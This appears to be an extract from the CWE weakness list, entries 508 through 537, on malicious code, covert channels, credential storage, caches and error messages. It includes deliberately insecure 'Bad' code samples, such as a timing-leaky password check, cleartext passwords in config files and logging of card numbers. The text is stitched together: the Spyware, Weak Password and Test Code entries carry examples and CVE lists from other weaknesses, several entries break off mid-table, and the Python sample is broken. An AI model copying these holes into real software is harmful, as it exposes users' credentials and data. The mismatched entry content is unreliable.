Weakness ID : 508
Structure : Simple
Abstraction : Base

Description

Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-511: Logic/Time Bomb

Weakness ID : 511
Structure : Simple
Abstraction : Base

Description

The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.

Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1220

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	
Integrity	Alter Execution Logic	

Potential Mitigations

Phase: Installation

Always verify the integrity of the product that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Demonstrative Examples

Example 1:

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

CWE-512: Spyware

Weakness ID : 512
Structure : Simple
Abstraction : Base

Description

The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.

Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to refer to products that collect information or install functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control	Read Application Data Bypass Protection Mechanism	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = SOAR Partial

Demonstrative Examples

Example 1:

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

Example Language: Python *(Bad)*

```
def validate_password(actual_pw, typed_pw):
  if len(actual_pw) <> len(typed_pw):
    return 0
  for i in len(actual_pw):
    if actual_pw[i] <> typed_pw[i]:
      return 0
  return 1
```

Note that in this example, the actual password must be handled in constant time as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why

it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	968	SFP Secondary Cluster: Covert Channel	888	2441
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2581

Notes

Theoretical

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.

CWE-515: Covert Storage Channel

Weakness ID : 515
Structure : Simple
Abstraction : Base

Description

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

Extended Description

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner

that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf	C	514	Covert Channel	1229

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2363

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Covert storage channels may provide attackers with important information about the system in question.*	
Integrity Confidentiality	Read Application Data *If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.*	

Potential Mitigations

Phase: Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

Demonstrative Examples

Example 1:

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID : 520
Structure : Simple
Abstraction : Variant

Description

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Extended Description

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-521: Weak Password Requirements

Weakness ID : 521
Structure : Simple
Abstraction : Base

Description

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Extended Description

Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Not Technology-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could easily guess user passwords and gain access user accounts.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

A product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes: Enforcement of a minimum and maximum length Restrictions against password reuse Restrictions against using common passwords Restrictions against using contextual string in the password (e.g., user id, app name) Depending on the threat model, the password policy may include several additional attributes. Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case) Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down). Another disadvantage of this approach is that it often does not result in a significant increases in overal password complexity due to people's predictable usage of various symbols. Large Minimum Length (encouraging passphrases instead of passwords) Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication. A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords. Randomly Chosen Secrets Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used. A disadvantage of this approach is that the resulting password or passpharse may be too difficult to memorize, encouraging them to be written down. Password Expiration Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations. Password expiration may be a good mitigating technique when long complex

passwords are not desired. See NIST 800-63B [REF-1053] for further information on password requirements.

Phase: Architecture and Design

Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.

Phase: Implementation

Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain access to user accounts and access sensitive data used by the user accounts.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Phase: Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Phase: Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

Demonstrative Examples

Example 1:

This code changes a user's password.

Example Language: PHP *(Bad)*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
   SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Example 2:

The following code reads a password from a properties file and uses the password to connect to a database.

Example Language: Java *(Bad)*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 3:

The following code reads a password from the registry and uses the password to create a new network credential.

Example Language: Java *(Bad)*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

Example 4:

Both of these examples verify a password by comparing it to a stored compressed version.

Example Language: C *(Bad)*

```
int VerifyAdmin(char *password) {
   if (strcmp(compress(password), compressed_password)) {
      printf("Incorrect Password!\n");
      return(0);
   }
   printf("Entering Diagnostic Mode...\n");
   return(1);
}
```

Example Language: Java *(Bad)*

```
int VerifyAdmin(String password) {
   if (passwd.Equals(compress(password), compressed_password)) {
      return(0);
   }
   //Diagnostic Mode
   return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 5:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java *(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET *(Bad)*

```
...
<connectionStrings>
   <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
   providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 6:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission or storage of passwords in their OT products.

Observed Examples

Reference	Description
CVE-2022-30018	A messaging platform serializes all elements of User/Group objects, making private information available to adversaries *https://www.cve.org/CVERecord?id=CVE-2022-30018*
CVE-2022-29959	Initialization file contains credentials that can be decoded using a "simple string transformation" *https://www.cve.org/CVERecord?id=CVE-2022-29959*
CVE-2022-35411	Python-based RPC framework enables pickle functionality by default, allowing clients to unpickle untrusted data. *https://www.cve.org/CVERecord?id=CVE-2022-35411*
CVE-2022-29519	Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens. *https://www.cve.org/CVERecord?id=CVE-2022-29519*
CVE-2022-30312	Building Controller uses a protocol that transmits authentication credentials in plaintext. *https://www.cve.org/CVERecord?id=CVE-2022-30312*
CVE-2022-31204	Programmable Logic Controller (PLC) sends password in plaintext. *https://www.cve.org/CVERecord?id=CVE-2022-31204*
CVE-2022-30275	Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext. *https://www.cve.org/CVERecord?id=CVE-2022-30275*
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions. *https://www.cve.org/CVERecord?id=CVE-2007-0681*
CVE-2000-0944	Web application password change utility doesn't check the original password. *https://www.cve.org/CVERecord?id=CVE-2000-0944*
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. *https://www.cve.org/CVERecord?id=CVE-2005-3435*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://www.cve.org/CVERecord?id=CVE-2005-0408*

CWE-523: Unprotected Transport of Credentials

Weakness ID : 523
Structure : Simple
Abstraction : Base

Description

Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1237
CanAlsoBe	B	312	Cleartext Storage of Sensitive Information	771

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2352

Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Operation

Phase: System Configuration

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-524: Use of Cache Containing Sensitive Information

Weakness ID : 524
Structure : Simple
Abstraction : Base

Description

The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.

Extended Description

Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations. A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources. If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CAPEC-ID	Attack Pattern Name
204	Lifting Sensitive Data Embedded in Cache

CWE-525: Use of Web Browser Cache Containing Sensitive Information

Weakness ID : 525
Structure : Simple
Abstraction : Variant

Description

The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	524	Use of Cache Containing Sensitive Information	1243

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.*	

Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Phase: Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable

Weakness ID : 526
Structure : Simple
Abstraction : Variant

Description

The product uses an environment variable to store unencrypted sensitive information.

Extended Description

Information stored in an environment variable can be accessible by other processes with the execution context, including child processes that dependencies are executed in, or serverless functions in cloud environments. An environment variable's contents can also be inserted into messages, headers, log files, or other outputs. Often these other dependencies have no need to use the environment variable in question. A weakness that discloses environment variables could expose this information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	312	Cleartext Storage of Sensitive Information	771
PeerOf	B	214	Invocation of Process Using Visible Sensitive Information	557

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Encrypt information stored in the environment variable to protect it from being exposed to an unauthorized user. If encryption is not feasible or is considered too expensive for the business use of the application, then consider using a properly protected configuration file instead of an environment variable. It should be understood that unencrypted information in a config file is also not guaranteed to be protected, but it is still a better choice, because it reduces attack surface related to weaknesses such as CWE-214. In some settings, vaults might be a feasible option for safer data transfer. Users should be notified of the business choice made to not protect the sensitive information through encryption.

Phase: Implementation

If the environment variable is not necessary for the desired behavior, then remove it entirely, or clear it to an empty value.

Observed Examples

Reference	Description
CVE-2022-43691	CMS shows sensitive server-side information from environment variables when run in Debug mode. *https://www.cve.org/CVERecord?id=CVE-2022-43691*

CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere

Weakness ID : 527
Structure : Simple
Abstraction : Variant

Description

The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors.

Extended Description

Version control repositories such as CVS or git store version-specific metadata and other details within subdirectories. If these subdirectories are stored on a web server or added to an archive, then these could be used by an attacker. This information may include usernames, filenames, path root, IP addresses, and detailed "diff" data about how files have been changed - which could reveal source code snippets that were never intended to be made public.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID : 529
Structure : Simple
Abstraction : Variant

Description

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID : 530
Structure : Simple
Abstraction : Variant

Description

A backup file is stored in a directory or archive that is made accessible to unauthorized actors.

Extended Description

Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the

webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1276

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2462

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2565

CWE-531: Inclusion of Sensitive Information in Test Code

Weakness ID : 531
Structure : Simple
Abstraction : Variant

Description

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Logging sensitive user data, full path names, or system information often provides attackers with an additional, less-protected path to acquiring the information.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Phase: Distribution

Remove debug log files before deploying the application into production.

Phase: Operation

Protect log files against unauthorized read/write.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Demonstrative Examples

Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

Example Language: Java *(Bad)*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Example 2:

This code stores location information about the current user:

Example Language: Java *(Bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
   AlertDialog.Builder builder = new AlertDialog.Builder(this);
   builder.setMessage("Sorry, this application has experienced an error.");
   AlertDialog alert = builder.create();
   alert.show();
   Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 3:

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

Example Language: Java *(Bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
   BankAccount userAccount = null;
   String query = null;
   try {
      if (isAuthorizedUser(username)) {
         query = "SELECT * FROM accounts WHERE owner = "
         + username + " AND accountID = " + accountNumber;
         DatabaseManager dbManager = new DatabaseManager();
         Connection conn = dbManager.getConnection();
         Statement stmt = conn.createStatement();
         ResultSet queryResult = stmt.executeQuery(query);
         userAccount = (BankAccount)queryResult.getObject(accountNumber);
      }
   } catch (SQLException ex) {
      String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
      Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
   }
   return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

CWE-536: Servlet Runtime Error Message Containing Sensitive Information

Weakness ID : 536
Structure : Simple
Abstraction : Variant

Description

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	549

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.*	

Demonstrative Examples

Example 1:

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Example Language: Java *(Bad)*

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
   String username = request.getParameter("username");
   // May cause unchecked NullPointerException.
   if (username.length() < 10) {
      ...
   }
}
```

MemberOf Relationships

CWE-537: Java Runtime Error Message Containing Sensitive Information

Weakness ID : 537
Structure : Simple
Abstraction : Variant

Description

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	211	Externally-Generated Error Message Containing Sensitive Information	549

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Do not expose sensitive error information to the user.

Demonstrative Examples

Example 1:

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

Example Language: Java *(Bad)*

```
public class InputFileRead {
   private File readFile = null;
   private FileReader reader = null;
   private String inputFilePath = null;
   private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
   public InputFileRead() {
      inputFilePath = DEFAULT_FILE_PATH;
   }
   public void setInputFile(String inputFile) {
      /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
   }
   public void readInputFile() {
      try {
         reader = new FileReader(readFile);
         ...
      } catch (RuntimeException rex) {
         System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
